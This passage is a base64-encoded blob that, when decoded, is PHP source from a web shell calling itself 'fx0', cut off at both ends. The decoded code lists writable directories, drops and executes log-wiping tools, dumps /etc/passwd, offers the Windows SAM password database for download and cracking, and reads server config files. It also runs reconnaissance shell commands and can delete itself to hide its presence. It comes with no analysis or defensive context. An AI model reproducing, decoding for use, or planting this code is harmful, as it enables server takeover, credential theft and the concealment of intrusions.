ZGlyKCRkcikpIHsNCiAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkZHIpIGFuZCBpc193cml0ZWFibGUoJGRyKSkgew0KICAgICAgICAgICAgICAgZWNobyAiW1JXXSAiIC4gJGRyIC4gIjxicj5cblxyIjsNCiAgICAgICAgICAgICAgICRjb3VudCsrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmVhZF9kaXIoJGRyKTsNCiAgICAgICAgIH0NCiAgICAgIH0NCiAgIH0NCn0NCg0KDQoNCn0NCg0KDQppZiAoJGFjdCA9PSAnemFwMicpIHsgLy8gKm5peCBjbGVhbmVyDQoJaWYgKGlzX3dyaXRhYmxlKCcuJykpIHsNCgkJY2YoJGFjdCwgJCRhY3QpOyAvLyAndGlzIHB1cmUgaW5ub3ZhdGlvbiBvZiBvcHRpbWl6YXRpb24gOikNCgkJY2htb2QoJGFjdCwgMDc3Nyk7DQoJCSRjbWQgPSAnLi8nLiRhY3Q7IC8vIGtlZXAgdGhpcyBiZWZvcmUgJGFjdCA9ICdjbWQnOw0KCQkkYWN0ID0gJ2NtZCc7DQoJCSRjbWRfdHh0ID0gJzEnOw0KCX1lbHNlew0KCQllY2hvICdEaXJlY3RvcnkgSXMgTm90IFdyaXRhYmxlITxicj4nOw0KCX0NCn0NCmlmICgkYWN0ID09ICdjbGVhcmxvZ3MnKSB7IC8vIHdpbmRvd3MgY2xlYW5lcnMNCglpZiAoaXNfd3JpdGFibGUoJy4nKSkgew0KCQljZigkYWN0LicuZXhlJywgJCRhY3QpOw0KCQljaG1vZCgkYWN0LicuZXhlJywgMDc3Nyk7DQoJCSRjbWQgPSAkYWN0LicuZXhlJzsNCgkJJGFjdCA9ICdjbWQnOw0KCQkkY21kX3R4dCA9ICcxJzsNCgl9ZWxzZXsNCgkJZWNobyAnRGlyZWN0b3J5IElzIE5vdCBXcml0YWJsZSE8YnI+JzsNCgl9DQp9DQoNCmlmICgkeCA9PSAicGhwaW5mbyIpIHtAb2JfY2xlYW4oKTsgcGhwaW5mbygpOyBjYXByaXY4ZXhpdCgpO30NCmlmICgkeCA9PSAic2VjdXJpdHkiKSB7DQogIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFNlcnZlciBTZWN1cml0eSBJbmZvcm1hdGlvbiA6LjwvZGl2PiIuDQogICAgICAgIjx0YWJsZT4iLg0KICAgICAgICI8dHI+PHRkPk9wZW4gQmFzZSBEaXI8L3RkPjx0ZD4iLiRob3BlbmJhc2VkaXIuIjwvdGQ+PC90cj4iOw0KICBlY2hvICI8dGQ+UGFzc3dvcmQgRmlsZTwvdGQ+PHRkPiI7DQogIGlmICghJHdpbikgew0KICAgIGlmICgkbml4cGFzc3dkKSB7DQogICAgICBpZiAoJG5peHBhc3N3ZCA9PSAxKSB7JG5peHBhc3N3ZCA9IDA7fQ0KICAgICAgZWNobyAiKm5peCAvZXRjL3Bhc3N3ZDo8YnI+IjsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX3MpKSB7JG5peHB3ZF9zID0gMDt9DQogICAgICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30NCiAgICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9XCJzZWN1cml0eVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0PVwiIG5hbWU9XCJuaXhwd2Rfc1wiIHZhbHVlPVwiIi4kbml4cHdkX3MuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibml4cHdkX2VcIiB2YWx1ZT1cIiIuJG5peHB3ZF9lLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPjxicj4iOw0KICAgICAgJGkgPSAkbml4cHdkX3M7DQogICAgICB3aGlsZSAoJGkgPCAkbml4cHdkX2UpIHsNCiAgICAgICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsNCiAgICAgICAgaWYgKCR1aWQpIHsNCiAgICAgICAgICAkdWlkWyJkaXIiXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCR1aWRbImRpciJdKS4iXCI+Ii4kdWlkWyJkaXIiXS4iPC9hPiI7DQogICAgICAgICAgZWNobyBqb2luKCI6IiwkdWlkKS4iPGJyPiI7DQogICAgICAgIH0NCiAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICB9DQogICAgZWxzZSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9c2VjdXJpdHkmbml4cGFzc3dkPTEmZD0iLiR1ZC4iXCI+PGI+PHU+R2V0IC9ldGMvcGFzc3dkPC91PjwvYj48L2E+Ijt9DQogIH0NCiAgZWxzZSB7DQogICAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsNCiAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPHRkIGNvbHNwYW49Mj48ZGl2IGNsYXNzPWZ4ZXJybXNnPllvdSBjYW4ndCBjcmFjayBXaW5kb3dzIHBhc3N3b3JkcygiLiR2LiIpPC9kaXY+PC90ZD48L3RyPiI7IH0NCiAgICBlbHNlIHtlY2hvICJZb3UgY2FuIGNyYWNrIFdpbmRvd3MgcGFzc3dvcmRzLiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyA/LjwvdGQ+PC90cj4iO30NCiAgfQ0KICBlY2hvICI8L3RkPjwvdHI+IjsNCiAgZWNobyAiPHRyPjx0ZD5Db25maWcgRmlsZXM8L3RkPjx0ZD4iOw0KICBpZiAoISR3aW4pIHsNCiAgICAkdiA9IGFycmF5KA0KICAgICAgICBhcnJheSgiVXNlciBEb21haW5zIiwiL2V0Yy91c2VyZG9tYWlucyIpLA0KICAgICAgICBhcnJheSgiQ3BhbmVsIENvbmZpZyIsIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIiksDQogICAgICAgIGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIiksDQogICAgICAgIGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL2V0Yy9odHRwZC5jb25mIiksDQogICAgICAgIGFycmF5KCJTeXNsb2cgQ29uZmlnIiwiL2V0Yy9zeXNsb2cuY29uZiIpLA0KICAgICAgICBhcnJheSgiTWVzc2FnZSBvZiBUaGUgRGF5IiwiL2V0Yy9tb3RkIiksDQogICAgICAgIGFycmF5KCJIb3N0cyIsIi9ldGMvaG9zdHMiKQ0KICAgICk7DQogICAgJHNlcCA9ICIvIjsNCiAgfQ0KICBlbHNlIHsNCiAgICAkd2luZGlyID0gJF9TRVJWRVJbIldJTkRJUiJdOw0KICAgICRldGNkaXIgPSAkd2luZGlyIC4gIlxzeXN0ZW0zMlxkcml2ZXJzXGV0Y1xcIjsNCiAgICAkdiA9IGFycmF5KA0KICAgICAgICBhcnJheSgiSG9zdHMiLCRldGNkaXIuImhvc3RzIiksDQogICAgICAgIGFycmF5KCJMb2NhbCBOZXR3b3JrIE1hcCIsJGV0Y2Rpci4ibmV0d29ya3MiKSwNCiAgICAgICAgYXJyYXkoIkxNIEhvc3RzIiwkZXRjZGlyLiJsbWhvc3RzLnNhbSIpLA0KICAgICk7DQogICAgJHNlcCA9ICJcXCI7DQogIH0NCiAgZm9yZWFjaCAoJHYgYXMgJHNlY19hcnIpIHsNCiAgICAkc2VjX2YgPSBzdWJzdHIoc3RycmNocigkc2VjX2FyclsxXSwgJHNlcCksIDEpOw0KICAgICRzZWNfZCA9IHJ0cmltKCRzZWNfYXJyWzFdLCRzZWNfZik7DQogICAgJHNlY19mdWxsID0gJHNlY19kLiRzZWNfZjsNCiAgICAkc2VjX2QgPSBydHJpbSgkc2VjX2QsJHNlcCk7DQogICAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCRzZWNfZnVsbCkpIHsNCiAgICAgIGVjaG8gIiBbIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0kc2VjX2YmZD0iLnVybGVuY29kZSgkc2VjX2QpLiImZnQ9dHh0XCI+PHU+PGI+Ii4kc2VjX2FyclswXS4iPC9iPjwvdT48L2E+IF0gIjsNCiAgICB9DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPiI7DQoNCiAgZnVuY3Rpb24gZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKSB7DQogICAgaWYgKCFlbXB0eSgkdmFsdWUpKSB7DQogICAgICBlY2hvICI8dHI+PHRkPiIuJG5hbWUuIjwvdGQ+PHRkPjxwcmU+Ii53b3Jkd3JhcCgkdmFsdWUsMTAwKS4iPC9wcmU+PC90ZD48L3RyPiI7DQogICAgfQ0KICB9DQogIGlmICghJHdpbikgew0KICAgIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uIixteXNoZWxsZXhlYygiY2F0IC9wcm9jL3ZlcnNpb24iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIktlcm5lbCBWZXJzaW9uIixteXNoZWxsZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIE5hbWUiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgTmFtZSAoMikiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy8qLXJlYWxpc2UiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkNQVSBJbmZvIixteXNoZWxsZXhlYygiY2F0IC9wcm9jL2NwdWluZm8iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIlJBTSIsbXlzaGVsbGV4ZWMoImZyZWUgLW0iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkhERCBTcGFjZSIsbXlzaGVsbGV4ZWMoImRmIC1oIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMaXN0IG9mIEF0dHJpYnV0ZXMiLG15c2hlbGxleGVjKCJsc2F0dHIgLWEiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIk1vdW50IE9wdGlvbnMiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiY1VSTCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggY3VybCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygibHlueCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbHlueCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygibGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJmZXRjaCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggZmV0Y2giKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkdFVCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJwZXJsIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBBcGFjaGU/IixteXNoZWxsZXhlYygid2hlcmVpcyBhcGFjaGUiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIHBlcmw/IixteXNoZWxsZXhlYygid2hlcmVpcyBwZXJsIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgcHJvZnRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHByb2Z0cGQuY29uZiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIGh0dHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgaHR0cGQuY29uZiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIG15LmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgbXkuY29uZiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIHBzeWJuYy5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHBzeWJuYy5jb25mIikpOw0KICB9DQogIGVsc2Ugew0KICAgIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uIixteXNoZWxsZXhlYygidmVyIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJBY2NvdW50IFNldHRpbmdzIixteXNoZWxsZXhlYygibmV0IGFjY291bnRzIikpOw0KICB9DQogIGVjaG8gIjwvdGFibGU+XG4iOw0KfQ0KaWYgKCR4ID09ICJta2ZpbGUiKSB7DQppZiAoJG1rZmlsZSAhPSAkZCkgew0KICBpZiAoZmlsZV9leGlzdHMoJG1rZmlsZSkpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogb2JqZWN0IGFscmVhZHkgZXhpc3RzISI7fQ0KICBlbHNlaWYgKCFmb3BlbigkbWtmaWxlLCJ3IikpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogYWNjZXNzIGRlbmllZCEiO30NCiAgZWxzZSB7JHggPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30NCn0NCmVsc2UgeyR4ID0gJGRzcGFjdCA9ICJscyI7fQ0KfQ0KaWYgKCR4ID09ICJlbmNvZGVyIikgew0KZWNobyAiPHNjcmlwdCBsYW5ndWFnZT1cImphdmFzY3JpcHRcIj5mdW5jdGlvbiBzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KSB7ZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5pbnB1dC52YWx1ZSA9IHRleHQ7fTwvc2NyaXB0PiIuDQogICAgICI8Zm9ybSBuYW1lPVwiZW5jb2RlclwiIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPiIuDQogICAgICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWVuY29kZXI+Ii4NCiAgICAgIjxjZW50ZXI+PHRhYmxlIGNsYXNzPWNvbnRlbnRzPiIuDQogICAgICI8dHI+PHRkIGNvbHNwYW49NCBjbGFzcz1iYXJoZWFkZXI+LjogRW5jb2RlciA6LjwvdGQ+Ii4NCiAgICAgIjx0cj48dGQgY29sc3Bhbj0yPklucHV0OjwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTcwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KS4iPC90ZXh0YXJlYT48YnI+Ii4NCiAgICAgIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZCByb3dzcGFuPTQ+SGFzaGVzOjwvdGQ+IjsNCmZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYpIHsNCiAgZWNobyAiPHRkPiIuJHYuIjo8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj48dHI+IjsNCn0NCmVjaG8gIjwvdHI+Ii4NCiAgICAgIjx0cj48dGQgcm93c3Bhbj0yPlVybDo8L3RkPiIuDQogICAgICI8dGQ+dXJsZW5jb2RlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD51cmxkZWNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+PC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkIHJvd3NwYW49Mj5CYXNlNjQ6PC90ZD4iLg0KICAgICAiPHRkPmJhc2U2NF9lbmNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD5iYXNlNjRfZGVjb2RlOjwvdGQ+PHRkPiI7DQppZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJGYWlsZWQhXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9DQplbHNlIHsNCiAgJGRlYmFzZTY0ID0gYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7DQogICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsNCiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOw0KICAkcm93cyA9IGNvdW50KCRhKTsNCiAgJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOw0KICBpZiAoJHJvd3MgPT0gMSkgeyBlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iOyB9DQogIGVsc2UgeyAkcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+IjsgfQ0KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPltTZW5kIHRvIGlucHV0XTwvYT4iOw0KfQ0KZWNobyAiPC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkPkJhc2UgY29udmVydGF0aW9uczo8L3RkPjx0ZD5kZWMyaGV4PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7DQokYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7DQpmb3IoJGk9MDskaTwkYzskaSsrKSB7DQogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOw0KICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO30NCiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQ0KfQ0KZWNobyAiXCIgcmVhZG9ubHk+PC90ZD48L3RyPjx0cj48dGQ+T25saW5lIG1kNSAsIHNoYTEgLCBteXNxbCBwYXNzd29yZCBjcmFja2VyPHRkPjxhIGhyZWY9XCJodHRwOi8vcGFzc2NyYWNraW5nLmNvbVwiIHRhcmdldD1fYmxhbms+RW50ZXI8L2E+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+PC9mb3JtPiI7DQp9DQppZiAoJHggPT0gImZzYnVmZiIpIHsNCiAgJGFycl9jb3B5ID0gJHNlc3NfZGF0YVsiY29weSJdOw0KICAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1dCJdOw0KICAkYXJyID0gYXJyYXlfbWVyZ2UoJGFycl9jb3B5LCRhcnJfY3V0KTsNCiAgaWYgKGNvdW50KCRhcnIpID09IDApIHtlY2hvICI8aDI+PGNlbnRlcj5CdWZmZXIgaXMgZW1wdHkhPC9jZW50ZXI+PC9oMj4iO30NCiAgZWxzZSB7DQogICAgJGZ4X2luZm9oZWFkID0gIkZpbGUtU3lzdGVtIEJ1ZmZlciI7DQogICAgJGxzX2FyciA9ICRhcnI7DQogICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOw0KICAgICR4ID0gImxzIjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJzZWxmcmVtb3ZlIikgew0KICBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpIHsNCiAgICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVzaW5nIGZ4MCEiOyBjYXByaXY4ZXhpdCgpOyB9DQogICAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBkZWxldGUgIi5fX0ZJTEVfXy4iITwvYj48L2NlbnRlcj4iO30NCiAgfQ0KICBlbHNlIHsNCiAgICBpZiAoIWVtcHR5KCRybmRjb2RlKSkge2VjaG8gIjxiPkVycm9yOiBpbmNvcnJlY3QgY29uZmlybWF0aW9uITwvYj4iO30NCiAgICAkcm5kID0gcmFuZCgwLDkpLnJhbmQoMCw5KS5yYW5kKDAsOSk7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1zZWxmcmVtb3ZlPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiLiRybmQuIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1ybmRjb2RlIHZhbHVlPVwiIi4kcm5kLiJcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3VibWl0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIllFU1wiPjwvZm9ybT4iOw0KICB9DQp9DQoNCg0KDQo/Pg0KDQo8Pw0KDQoNCg0KDQoNCg0KDQppZiAoJHggPT0gInNlYXJjaCIpIHsNCiAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LjogRmlsZS1TeXN0ZW0gU2VhcmNoIDouPC9kaXY+IjsNCiAgaWYgKGVtcHR5KCRzZWFyY2hfaW4pKSB7JHNlYXJjaF9pbiA9ICRkO30NCiAgaWYgKGVtcHR5KCRzZWFyY2hfbmFtZSkpIHskc2VhcmNoX25hbWUgPSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxO30NCiAgaWYgKGVtcHR5KCRzZWFyY2hfdGV4dF93d28pKSB7JHNlYXJjaF90ZXh0X3JlZ2V4cCA9IDA7fQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgJGZvdW5kID0gYXJyYXkoKTsNCiAgICAkZm91bmRfZCA9IDA7DQogICAgJGZvdW5kX2YgPSAwOw0KICAgICRzZWFyY2hfaV9mID0gMDsNCiAgICAkc2VhcmNoX2lfZCA9IDA7DQogICAgJGEgPSBhcnJheSgNCiAgICAgICAgIm5hbWUiPT4kc2VhcmNoX25hbWUsDQogICAgICAgICJuYW1lX3JlZ2V4cCI9PiRzZWFyY2hfbmFtZV9yZWdleHAsDQogICAgICAgICJ0ZXh0Ij0+JHNlYXJjaF90ZXh0LA0KICAgICAgICAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsDQogICAgICAgICJ0ZXh0X3d3byI9PiRzZWFyY2hfdGV4dF93d28sDQogICAgICAgICJ0ZXh0X2NzIj0+JHNlYXJjaF90ZXh0X2NzLA0KICAgICAgICAidGV4dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90DQogICAgKTsNCiAgICAkc2VhcmNodGltZSA9IGdldG1pY3JvdGltZSgpOw0KICAgICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwkc2VhcmNoX2luKSk7DQogICAgZm9yZWFjaCgkaW4gYXMgJHYpIHtjYWZzZWFyY2goJHYpO30NCiAgICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1lLDQpOw0KICAgIGlmIChjb3VudCgkZm91bmQpID09IDApIHtlY2hvICJObyBmaWxlcyBmb3VuZCEiO30NCiAgICBlbHNlIHsNCiAgICAgICRsc19hcnIgPSAkZm91bmQ7DQogICAgICAkZGlzcF9mdWxscGF0aCA9IFRSVUU7DQogICAgICAkeCA9ICJscyI7DQogICAgfQ0KICB9DQogIGVjaG8gIjx0YWJsZSBjbGFzcz1jb250ZW50cz4iLg0KICAgICAgICI8dHI+PHRkPjxmb3JtIG1ldGhvZD1QT1NUPiIuDQogICAgICAgIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9XCIiLiRkc3BhY3QuIlwiPiIuDQogICAgICAgIkZpbGUgb3IgZm9sZGVyIE5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9uYW1lXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfbmFtZSkrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX25hbWUpLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF9uYW1lX3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfbmFtZV9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIFJlZ3VsYXIgRXhwcmVzc2lvbjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPkxvb2sgaW4gKFNlcGFyYXRlIGJ5IFwiO1wiKTo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX2luXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfaW4pKzI1KS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF9pbikuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPkEgd29yZCBvciBwaHJhc2UgaW4gdGhlIGZpbGU6PC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9XCJzZWFy